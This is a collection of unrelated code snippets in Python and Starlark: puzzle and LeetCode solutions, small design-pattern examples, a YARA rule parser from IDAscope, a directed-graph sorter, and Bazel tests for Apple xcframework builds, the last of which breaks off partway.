content stringlengths 7 1.05M |
|---|
height_map = ["".join(["9", line.rstrip(), "9"]) for line in open("input.txt", "r")]
height_map.insert(0, len(height_map[0])*"9")
height_map.append( len(height_map[0])*"9")
len_x, len_y = len(height_map), len(height_map[0])
risk_level_sum = 0
for x in range(1, len_x-1):
for y in range(1, len_y-1):
height = height_map[x][y]
if height_map[x-1][y ] > height and \
height_map[x ][y+1] > height and \
height_map[x+1][y ] > height and \
height_map[x ][y-1] > height:
risk_level_sum += (int(height) + 1)
print(risk_level_sum) |
def encode(message):
a = [message[0]]
b = []
count = 0
message+="1"
for x in message[1:]:
if a[-1] == x:
count+=1
else:
count+=1
b.append((a[-1],count))
count = 0
a.append(x)
encoded_message = ""
for x,y in b:
encoded_message += str(y)+str(x)
return encoded_message
#Provide different values for message and test your program
encoded_message=encode("ABBBBCCCCCCCCAB")
print(encoded_message) |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author : mh
class Person(object):
def __init__(self):
self.name = None
def set_name(self, name):
self.name = name
def get_name(self):
return self.name
def greet(self):
print('peoson 名字: {}', format(self.name))
|
class Student(object):
def __init__(self, user_email):
self.user_email = user_email
def some_action(self):
return "A student with " + self.user_email + " is attending a seminar"
class Teacher(object):
def __init__(self, user_email):
self.user_email = user_email
def some_action(self):
return "A teacher with " + self.user_email + " is taking a seminar"
class Administrator(object):
def __init__(self, user_email):
self.user_email = user_email
def some_action(self):
return "An administrator with " + self.user_email + \
" is arranging a seminar"
class User(object):
def __init__(self, user_email, user_type):
self.user_email = user_email
self.user_type = user_type.lower()
def factory(self):
if self.user_type == "student":
return Student(user_email=self.user_email)
elif self.user_type == "teacher":
return Teacher(user_email=self.user_email)
elif self.user_type == "administrator":
return Administrator(user_email=self.user_email)
raise ValueError("User type is not valid")
if __name__ == '__main__':
try:
user1 = User("dummy1@example.com", "Student").factory()
print(user1.some_action())
user2 = User("dummy2@example.com", "Teacher").factory()
print(user2.some_action())
user3 = User("dummy3@example.com", "Administrator").factory()
print(user3.some_action())
user4 = User("dummy4@example.com", "Guest").factory()
print(user4.some_action())
except Exception as e:
print(str(e))
|
def gcd(a,b):
if a==0:
return b
elif b==0:
return a
elif b>a:
return gcd(b,a)
else:
return gcd(b,a%b)
t = int(input())
for i in range(t):
n = int(input())
for j in range(n):
l = list(map(int, input().split()))
print(l) |
#!/usr/bin/python
########################################################################
# Copyright (c) 2014
# Christopher Kannen <ckannen<at>uni-bonn<dot>de>
# Daniel Plohmann <daniel.plohmann<at>gmail<dot>com>
# All rights reserved.
########################################################################
#
# This file is part of IDAscope
#
# IDAscope is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see
# <http://www.gnu.org/licenses/>.
#
########################################################################
#
########################################################################
# from YaraStatusController import StatusController
class YaraRule(object):
""" Yara Rule class """
def __init__(self, parent):
self.parent = parent
self.statusController = parent.StatusController()
self.filename = ""
# set raw data of rule content, to be parsed by analyze* methods
self.raw_header = ""
self.raw_header_cleaned = ""
self.raw_meta = ""
self.raw_meta_cleaned = ""
self.raw_strings = ""
self.raw_strings_cleaned = ""
self.raw_condition = ""
self.raw_condition_cleaned = ""
# rule header
self.is_global = False
self.is_private = False
self.rule_name = ""
self.rule_description = []
# meta
self.meta = []
# strings
self.strings = []
#condition
self.condition = ""
# match data as provided by yara-python
self.match_data = {}
def checkRule(self):
unique_names = {}
for string in self.strings:
if string[1] in unique_names:
print("[!] Rule %s has duplicate variable name: \"%s\"" % (self.rule_name, self.filename, string[1]))
raise Exception("Duplicate variable name")
else:
unique_names[string[1]] = "loaded"
return True
def analyze(self):
self._analyzeHeader()
self._analyzeMeta()
self._analyzeStrings()
self._analyzeCondition()
def _linebreakAndTabsToSpace(self, content):
""" replace all linebreaks and tabs by spaces """
new_content = ""
for i in range(len(content)):
if (content[i] == "\r"):
new_content += " "
elif (content[i] == "\n"):
new_content += " "
elif (content[i] == "\t"):
new_content += " "
else:
new_content += content[i]
return new_content
def _analyzeHeader(self):
""" analyze Yara rule header, find keywords PRIVATE and GLOBAL, get rule NAME and DESCRIPTION """
self.statusController.reset()
# delete tabs and linebreaks and then split rule header into single words
raw_header_cleaned = self._linebreakAndTabsToSpace(self.raw_header_cleaned)
raw_header_cleaned = raw_header_cleaned.replace(":", " : ")
# analyze words
for header_word in raw_header_cleaned.split(" "):
if header_word == "private":
self.is_private = True
elif header_word == "global":
self.is_global = True
elif header_word == "rule":
self.statusController.status = "find_rule_name"
elif header_word == ":":
self.statusController.status = "find_rule_description"
elif self.statusController.status == "find_rule_name" and header_word != "":
self.rule_name = header_word
elif self.statusController.status == "find_rule_description" and header_word != "":
self.rule_description.append(header_word)
def _analyzeMeta(self):
""" analyze meta section of Yara rule and save tuples (meta name, meta value) in list of meta entries """
# current meta entry
meta_name = ""
meta_content = ""
# status ("find_name", "name", "find_field_value", "value")
self.statusController.reset("find_name")
# read meta string and replace line breaks and tabs
raw_meta = self.raw_meta
raw_meta_cleaned = self._linebreakAndTabsToSpace(self.raw_meta_cleaned)
# check if meta section exists
if (len(raw_meta_cleaned) == 0) or (raw_meta_cleaned.find(":") == -1):
return
# insert an additional whitespace at the end as end delimiter to handle compact rules
raw_meta += " "
raw_meta_cleaned += " "
# split at first colon
temp, meta_body_cleaned = raw_meta_cleaned.split(":", 1)
meta_body = raw_meta[len(temp) + 1:]
# go through file and split it in Yara rules and them in sections
for i in range(len(meta_body_cleaned)):
# find beginning of meta entry name
if self.statusController.controlStatus("find_name", not self.statusController.findKeyword(meta_body_cleaned, i, " "), "name"):
pass
# find end of meta entry name
elif self.statusController.controlStatus("name", self.statusController.findKeyword(meta_body_cleaned, i, "="), "find_field_value"):
continue
# find beginning of meta entry value
if self.statusController.controlStatus("find_field_value", not self.statusController.findKeyword(meta_body_cleaned, i, " "), "value"):
# skip first letter by continue if value is a string
if (meta_body_cleaned[i] == "\""):
continue
# find end of meta entry value
if self.statusController.controlStatus("value", i == len(meta_body_cleaned) - 1
or self.statusController.findKeyword(meta_body_cleaned, i, " ") or self.statusController.findKeyword(meta_body_cleaned, i, "\""), "find_name"):
if not self.statusController.findKeyword(meta_body_cleaned, i, " ") and i == len(meta_body_cleaned) - 1:
meta_content += meta_body[i]
if self.statusController.findKeyword(meta_body_cleaned, i, " ") or i == len(meta_body_cleaned) - 1:
if meta_content == "true":
meta_content = True
elif meta_content == "false":
meta_content = False
elif meta_content.isdigit():
meta_content = int(meta_content)
meta_name = meta_name.strip()
self.meta.append([meta_name, meta_content])
# reset variables
meta_name = ""
meta_content = ""
continue
# copy content in meta name or meta value
if (self.statusController.status == "name"):
meta_name += meta_body[i]
if (self.statusController.status == "value"):
meta_content += meta_body[i]
def _identifyStringType(self, indicator):
""" identify type of string (text, regex, byte array) by it's first character """
if indicator == "\"":
return "text"
if indicator == "/":
return "regular_expression"
if indicator == "{":
return "byte_array"
raise ValueError("Invalid string type indicator: %s" % indicator)
def _checkStringValueTerminator(self, string_type, char):
terminator_types = [("text", "\""), ("regular_expression", "/"), ("byte_array", "}")]
return (string_type, char) in terminator_types
def _analyzeStrings(self):
""" analyze strings section of Yara rule and save tuples (string name, string value, string type) in list of string entries """
# current string variable
var_name = ""
var_content = ""
var_keywords = []
# status ("find_name", "name", "find_field_value", "value")
self.statusController.reset("find_name")
# read strings string and replace line breaks and tabs
raw_strings = self.raw_strings
raw_strings_cleaned = self._linebreakAndTabsToSpace(self.raw_strings_cleaned)
# check if meta section exists
if ((len(raw_strings_cleaned) == 0) or (raw_strings_cleaned.find(":") == -1)):
return
# insert an additional whitespace at the end as end delimiter to handle compact rules
raw_strings += " "
raw_strings_cleaned += " "
# split at first colon
temp, raw_strings_cleaned = raw_strings_cleaned.split(":", 1)
raw_strings = raw_strings[len(temp) + 1:]
# go through file and split it in Yara rules and them in sections
skip_i = 0
for i in range(len(raw_strings_cleaned)):
# skip character(s)
if (skip_i > 0):
skip_i -= 1
continue
# find beginning of string variable name
if self.statusController.controlStatus("find_name", not self.statusController.findKeyword(raw_strings_cleaned, i, " "), "name"):
pass
# find end of string variable name
elif self.statusController.controlStatus("name", self.statusController.findKeyword(raw_strings_cleaned, i, "="), "find_field_value"):
continue
# find beginning of string variable value
if self.statusController.controlStatus("find_field_value", not self.statusController.findKeyword(raw_strings_cleaned, i, " "), "value"):
string_variable_type = self._identifyStringType(raw_strings_cleaned[i])
continue
# find end of string variable value
if (self.statusController.status == "value"):
# check for all 3 types of strings (text, regex, byte array) if the string is complete
# and save string variable if string is complete
if self._checkStringValueTerminator(string_variable_type, raw_strings_cleaned[i]):
self.statusController.status = "stringModifier"
continue
# look for string modification keywords after value ("wide", "ascii", "nocase", "fullword")
string_modifiers = ["wide", "ascii", "nocase", "fullword"]
for modifier in string_modifiers:
if self.statusController.controlStatus("stringModifier", self.statusController.findKeyword(raw_strings_cleaned, i, modifier), "stringModifier"):
var_keywords.append(modifier)
skip_i = len(modifier)
break
if (skip_i > 0):
continue
# check if there is any character after string, that is not part of a keyword and is no blank
self.statusController.controlStatus("stringModifier", not self.statusController.findKeyword(raw_strings_cleaned, i, " "), "saveString")
# save string if this the end of strings section is reached
if i == len(raw_strings_cleaned) - 1:
self.statusController.status = "saveString"
# save string
if (self.statusController.status == "saveString"):
# delete white spaces
var_name = var_name.strip()
if (string_variable_type == "regular_expression") or (string_variable_type == "byte_array"):
var_content = var_content.strip()
# save tuple in strings list
self.strings.append((string_variable_type, var_name, var_content, var_keywords))
# reset status
self.statusController.status = "name"
# reset variables
var_name = ""
var_content = ""
var_keywords = []
# copy content in string name or string value
if (self.statusController.status == "name"):
var_name += raw_strings[i]
if (self.statusController.status == "value"):
var_content += raw_strings[i]
def _analyzeCondition(self):
""" analyze Yara rule condition """
# delete tabs and linebreaks
temp_condition = self._linebreakAndTabsToSpace(self.raw_condition_cleaned)
# check if meta section exists
if (len(temp_condition) == 0) or (temp_condition.find(":") == -1):
return
# split at first colon
temp, temp_condition = temp_condition.split(":", 1)
# delete white spaces at beginning and end of string
temp_condition = temp_condition.strip()
# replace multiple spaces in string
temp_condition_len = 0
while (temp_condition_len != len(temp_condition)):
temp_condition_len = len(temp_condition)
temp_condition = temp_condition.replace(" ", " ")
# save condition in Yara rule
self.condition = temp_condition
def __str__(self):
if not self.rule_name:
return "Failed to load rule through YaraRuleLoader. Please be so kind and report this back for a bug fix! :)"
start_delimiters = {"text": "\"", "regular_expression": "/ ", "byte_array": "{ "}
end_delimiters = {"text": "\"", "regular_expression": " /", "byte_array": " }"}
result = ""
result += "global " if self.is_global else ""
result += "private " if self.is_private else ""
result += "rule " + self.rule_name
if self.rule_description:
result += " : " + " ".join(self.rule_description)
result += "\n{\n"
if self.meta:
result += " meta:\n"
for meta_line in self.meta:
if isinstance(meta_line[1], str):
result += " " * 8 + "%s = \"%s\"\n" % (meta_line[0], meta_line[1])
else:
result += " " * 8 + "%s = %s\n" % (meta_line[0], meta_line[1])
result += "\n"
if self.strings:
result += " strings:\n"
for string_line in self.strings:
result += " " * 8 + "%s = %s%s%s %s\n" % (string_line[1], start_delimiters[string_line[0]], string_line[2], end_delimiters[string_line[0]], " ".join(string_line[3]))
result += "\n"
result += " condition:\n"
result += " " * 8 + "%s\n" % self.condition
result += "}"
return result
def hasMatch(self):
if self.match_data:
return self.match_data["matches"]
else:
return False
def __repr__(self):
hit_strings = []
if self.match_data:
hit_strings = set([s[2] for s in self.match_data["strings"]])
return "YaraRule(name=\"%s\", match=%s, hits=%d/%d)" % (self.rule_name, self.match_data["matches"], len(hit_strings), len(self.strings))
else:
return "YaraRule(name=\"%s\")"
|
#
# @lc app=leetcode id=22 lang=python3
#
# [22] Generate Parentheses
#
# @lc code=start
class Solution:
def generateParenthesis(self, n: int) -> List[str]:
if n == 1:
return ['()']
last_parenthesis = self.generateParenthesis(n - 1)
stack = []
for parenthesis in last_parenthesis:
for i in range(len(parenthesis)):
if parenthesis[i] == ')':
new_str = self.insertString(parenthesis, i, ')(')
if not new_str in stack:
stack.append(new_str)
new_str = self.insertString(parenthesis, i, '()')
if new_str not in stack:
stack.append(new_str)
new_str = self.insertString(parenthesis, i + 1, '()')
if new_str not in stack:
stack.append(new_str)
return stack
def insertString(self, s: str, index: int, c: str) -> str:
if index >= len(s):
return s + c
return s[:index] + c + s[index:]
# @lc code=end
|
def bifurcate(lst, filter):
return [
[x for i,x in enumerate(lst) if filter[i] == True],
[x for i,x in enumerate(lst) if filter[i] == False]
]
print(bifurcate(['beep', 'boop', 'foo', 'bar',], [True, True, False, True]))
|
class SearchException(Exception):
pass
class SearchSyntaxError(SearchException):
def __init__(self, msg, reason='Syntax error'):
super(SearchSyntaxError, self).__init__(msg)
self.reason = reason
class UnknownField(SearchSyntaxError):
pass
class UnknownOperator(SearchSyntaxError):
pass
|
class DirectedGraph:
"""Simple directed graph mapping from any -> any"""
def __init__(self):
self._nodes = set()
self._outputs = dict()
self._inputs = dict()
@property
def nodes(self):
return self._nodes
def inputs(self, n):
return self._inputs.get(n, set())
def outputs(self, n):
return self._outputs.get(n, set())
def has_inputs(self, n):
return n in self._inputs and self._inputs[n]
def has_outputs(self, n):
return n in self._outputs and self._outputs[n]
def copy(self):
g = DirectedGraph()
g._nodes = self._nodes.copy()
g._outputs = {n: self._outputs[n].copy() for n in self._outputs}
g._inputs = {n: self._inputs[n].copy() for n in self._inputs}
return g
def add_node(self, n):
self._nodes.add(n)
def add_edge(self, n1, n2):
self._nodes.add(n1)
self._nodes.add(n2)
if n1 not in self._outputs:
self._outputs[n1] = {n2}
else:
self._outputs[n1].add(n2)
if n2 not in self._inputs:
self._inputs[n2] = {n1}
else:
self._inputs[n2].add(n1)
def remove_edge(self, n1, n2):
if n1 in self._outputs:
if n2 in self._outputs[n1]:
self._outputs[n1].remove(n2)
if n2 in self._inputs:
if n1 in self._inputs[n2]:
self._inputs[n2].remove(n1)
def serialize(self):
"""Return a list of nodes, such that each node comes before it's output nodes"""
graph = self.copy()
# nodes with no inputs (temporary space)
beginnings = set()
# collect them
for n in graph.nodes:
if not graph.has_inputs(n):
beginnings.add(n)
if not beginnings:
raise ValueError("No start nodes in DirectedGraph")
linear = []
while beginnings:
# grab a node from work list
n = beginnings.pop()
# and add to output
linear.append(n)
# for each outgoing edge
for nout in list(graph.outputs(n)):
# remove this edge
graph.remove_edge(n, nout)
# if no other input node, move to beginnings
if not graph.has_inputs(nout):
beginnings.add(nout)
# see if deconstructed everything
for n in graph.nodes:
if graph.has_inputs(n):
raise ValueError("Loop in DirectedGraph involving node '%s'" % n)
return linear
if __name__ == "__main__":
g = DirectedGraph()
g.add_edge(1, 2)
g.add_edge(1, 3)
g.add_edge(2, 4)
g.add_edge(3, 4)
#g.add_edge(4, 5)
g.add_edge(5, 1)
g.add_edge(10, 5)
print(g.serialize())
|
#!/usr/bin/python3
'''
Implementação simplificada do map
'''
def mapear(funcao, lista):
for elemento in lista:
yield funcao(elemento)
if __name__ == "__main__":
resultado = mapear(lambda x: x ** 2, [2, 3, 4])
print(list(resultado))
# Fontes:
# Curso Python 3 - Curso Completo do Básico ao Avançado Udemy Aula 188
# https://github.com/cod3rcursos/curso-python/tree/master/programacao_funcional
|
counter = 0
def even_customers():
return counter%2==0
def incoming():
global counter
counter+=1
def outgoing():
global counter
if(counter > 0):
counter-=1
|
"""Exceptions"""
class ModelConfigError(Exception):
"""Base error class for config files"""
|
# Problem description: Given two linked lists, return the node where the intersection begins, or if there's
# no intersection, return null.
# Solution time complexity: O(n)
# Comments: The solution with length offset. This solution makes use of the fact that if distance
# to the intersection node from headA is equal to headB, we can simply walk both lists
# incrementally until we encounter the intersection node.
#
# How do we do this? First, we walk both lists and find their lengths. Then we move the
# node of the bigger list as many times as required to make the count of nodes to the
# end equal in both lists. Now we can simply traverse both lists at the same time incre-
# mentally until we encounter the intersection node.
#
# a1->a2
# \
# c1->c2->c3
# /
# b1->b2->b3
#
#
# i)
# s
# x |------|
# |---|
# a1->a2
# \
# c1->c2->c3
# /
# b1->b2->b3
#
# ii)
# x s
# |---||------|
# len1
# |----------------|
# a1->a2->c1->c2->c3
# b1->b2->b3->c1->c2->c3
# |-------------------|
# len2
#
# x = abs(len1 - len2)
#
# iii)
# a1->a2 o->a2
# \ \
# c1->c2->c3 c1->c2->c3
# / /
# b2->b3 o->b3
#
# o->o
# \
# c1 <-- intersection node
# /
# o->o
#
# Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution(object):
@staticmethod
def computeLinkedListLength(head):
count = 0
node = head
while node != None:
count += 1
node = node.next
return count
def getIntersectionNode(self, headA, headB):
"""
:type head1, head1: ListNode
:rtype: ListNode
"""
if headA == None or headB == None:
return None
lengthA = Solution.computeLinkedListLength(headA)
lengthB = Solution.computeLinkedListLength(headB)
nodeA = headA
nodeB = headB
countA = lengthA
countB = lengthB
while countA > countB:
countA -= 1
nodeA = nodeA.next
while countB > countA:
countB -= 1
nodeB = nodeB.next
while nodeA != None and nodeB != None:
if nodeA == nodeB:
return nodeA
else:
nodeA = nodeA.next
nodeB = nodeB.next
return None
|
class NoDataException(Exception):
pass
class BadAuthorization(Exception):
pass
|
# Copyright 2021 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""xcframework Starlark tests."""
load(
":rules/common_verification_tests.bzl",
"archive_contents_test",
"bitcode_symbol_map_test",
)
load(
":rules/dsyms_test.bzl",
"dsyms_test",
)
load(
":rules/infoplist_contents_test.bzl",
"infoplist_contents_test",
)
load(
":rules/linkmap_test.bzl",
"linkmap_test",
)
def apple_xcframework_test_suite(name):
"""Test suite for apple_xcframework.
Args:
name: the base name to be used in things created by this macro
"""
infoplist_contents_test(
name = "{}_ios_plist_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_values = {
"AvailableLibraries:0:LibraryIdentifier": "ios-arm64",
"AvailableLibraries:0:LibraryPath": "ios_dynamic_xcframework.framework",
"AvailableLibraries:0:SupportedArchitectures:0": "arm64",
"AvailableLibraries:0:SupportedPlatform": "ios",
"AvailableLibraries:1:LibraryIdentifier": "ios-x86_64-simulator",
"AvailableLibraries:1:LibraryPath": "ios_dynamic_xcframework.framework",
"AvailableLibraries:1:SupportedArchitectures:0": "x86_64",
"AvailableLibraries:1:SupportedPlatform": "ios",
"AvailableLibraries:1:SupportedPlatformVariant": "simulator",
"CFBundlePackageType": "XFWK",
"XCFrameworkFormatVersion": "1.0",
},
not_expected_keys = [
"AvailableLibraries:0:BitcodeSymbolMapsPath",
"AvailableLibraries:1:BitcodeSymbolMapsPath",
],
tags = [name],
)
infoplist_contents_test(
name = "{}_ios_fat_plist_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_values = {
"AvailableLibraries:0:LibraryIdentifier": "ios-arm64_armv7",
"AvailableLibraries:0:LibraryPath": "ios_dynamic_lipoed_xcframework.framework",
"AvailableLibraries:0:SupportedArchitectures:0": "arm64",
"AvailableLibraries:0:SupportedArchitectures:1": "armv7",
"AvailableLibraries:0:SupportedPlatform": "ios",
"AvailableLibraries:1:LibraryIdentifier": "ios-i386_arm64_x86_64-simulator",
"AvailableLibraries:1:LibraryPath": "ios_dynamic_lipoed_xcframework.framework",
"AvailableLibraries:1:SupportedArchitectures:0": "i386",
"AvailableLibraries:1:SupportedArchitectures:1": "arm64",
"AvailableLibraries:1:SupportedArchitectures:2": "x86_64",
"AvailableLibraries:1:SupportedPlatform": "ios",
"AvailableLibraries:1:SupportedPlatformVariant": "simulator",
"CFBundlePackageType": "XFWK",
"XCFrameworkFormatVersion": "1.0",
},
not_expected_keys = [
"AvailableLibraries:0:BitcodeSymbolMapsPath",
"AvailableLibraries:1:BitcodeSymbolMapsPath",
],
tags = [name],
)
infoplist_contents_test(
name = "{}_ios_plist_bitcode_test".format(name),
apple_bitcode = "embedded",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_values = {
"AvailableLibraries:0:LibraryIdentifier": "ios-arm64",
"AvailableLibraries:0:BitcodeSymbolMapsPath": "BCSymbolMaps",
"AvailableLibraries:1:LibraryIdentifier": "ios-x86_64-simulator",
},
not_expected_keys = [
"AvailableLibraries:1:BitcodeSymbolMapsPath",
],
tags = [name],
)
infoplist_contents_test(
name = "{}_ios_fat_plist_bitcode_test".format(name),
apple_bitcode = "embedded",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_values = {
"AvailableLibraries:0:LibraryIdentifier": "ios-arm64_armv7",
"AvailableLibraries:0:BitcodeSymbolMapsPath": "BCSymbolMaps",
"AvailableLibraries:1:LibraryIdentifier": "ios-i386_arm64_x86_64-simulator",
},
not_expected_keys = [
"AvailableLibraries:1:BitcodeSymbolMapsPath",
],
tags = [name],
)
archive_contents_test(
name = "{}_ios_arm64_device_archive_contents_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
binary_test_file = "$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
macho_load_commands_contain = ["name @rpath/ios_dynamic_xcframework.framework/ios_dynamic_xcframework (offset 24)"],
contains = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Headers/shared.h",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Headers/ios_dynamic_xcframework.h",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
archive_contents_test(
name = "{}_ios_x86_64_sim_archive_contents_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
binary_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
macho_load_commands_contain = ["name @rpath/ios_dynamic_xcframework.framework/ios_dynamic_xcframework (offset 24)"],
contains = [
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Headers/shared.h",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Headers/ios_dynamic_xcframework.h",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
archive_contents_test(
name = "{}_ios_fat_device_archive_contents_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
binary_test_file = "$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
macho_load_commands_contain = ["name @rpath/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework (offset 24)"],
contains = [
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Headers/shared.h",
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Headers/ios_dynamic_lipoed_xcframework.h",
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
archive_contents_test(
name = "{}_ios_fat_sim_archive_contents_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
binary_test_file = "$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
macho_load_commands_contain = ["name @rpath/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework (offset 24)"],
contains = [
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Headers/shared.h",
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Headers/ios_dynamic_lipoed_xcframework.h",
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
dsyms_test(
name = "{}_device_dsyms_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_dsyms = ["ios_dynamic_xcframework_ios_device.framework"],
architectures = ["arm64"],
tags = [name],
)
dsyms_test(
name = "{}_simulator_dsyms_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_dsyms = ["ios_dynamic_xcframework_ios_simulator.framework"],
architectures = ["x86_64"],
tags = [name],
)
dsyms_test(
name = "{}_fat_device_dsyms_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_dsyms = ["ios_dynamic_lipoed_xcframework_ios_device.framework"],
architectures = ["arm64", "armv7"],
tags = [name],
)
dsyms_test(
name = "{}_fat_simulator_dsyms_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_dsyms = ["ios_dynamic_lipoed_xcframework_ios_simulator.framework"],
architectures = ["x86_64", "arm64", "i386"],
tags = [name],
)
linkmap_test(
name = "{}_device_linkmap_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_linkmap_names = ["ios_dynamic_xcframework_ios_device"],
architectures = ["arm64"],
tags = [name],
)
linkmap_test(
name = "{}_simulator_linkmap_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_linkmap_names = ["ios_dynamic_xcframework_ios_simulator"],
architectures = ["x86_64"],
tags = [name],
)
linkmap_test(
name = "{}_fat_device_linkmap_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_linkmap_names = ["ios_dynamic_lipoed_xcframework_ios_device"],
architectures = ["arm64", "armv7"],
tags = [name],
)
linkmap_test(
name = "{}_fat_simulator_linkmap_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_linkmap_names = ["ios_dynamic_lipoed_xcframework_ios_simulator"],
architectures = ["x86_64", "arm64", "i386"],
tags = [name],
)
bitcode_symbol_map_test(
name = "{}_archive_contains_bitcode_symbol_maps_test".format(name),
bc_symbol_maps_root = "ios_dynamic_xcframework.xcframework/ios-arm64",
binary_paths = [
"ios_dynamic_xcframework.xcframework/ios-arm64/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
tags = [name],
)
bitcode_symbol_map_test(
name = "{}_fat_archive_contains_bitcode_symbol_maps_test".format(name),
bc_symbol_maps_root = "ios_dynamic_lipoed_xcframework.xcframework/ios-arm64_armv7",
binary_paths = [
"ios_dynamic_lipoed_xcframework.xcframework/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
tags = [name],
)
# Tests that minimum os versions values are respected by the embedded frameworks.
archive_contents_test(
name = "{}_ios_minimum_os_versions_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_min_ver_10",
plist_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_min_ver_10.framework/Info.plist",
plist_test_values = {
"MinimumOSVersion": "10.0",
},
tags = [name],
)
# Tests that options to override the device family (in this case, exclusively "ipad" for the iOS
# platform) are respected by the embedded frameworks.
archive_contents_test(
name = "{}_ios_exclusively_ipad_device_family_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_exclusively_ipad_device_family",
plist_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_exclusively_ipad_device_family.framework/Info.plist",
plist_test_values = {
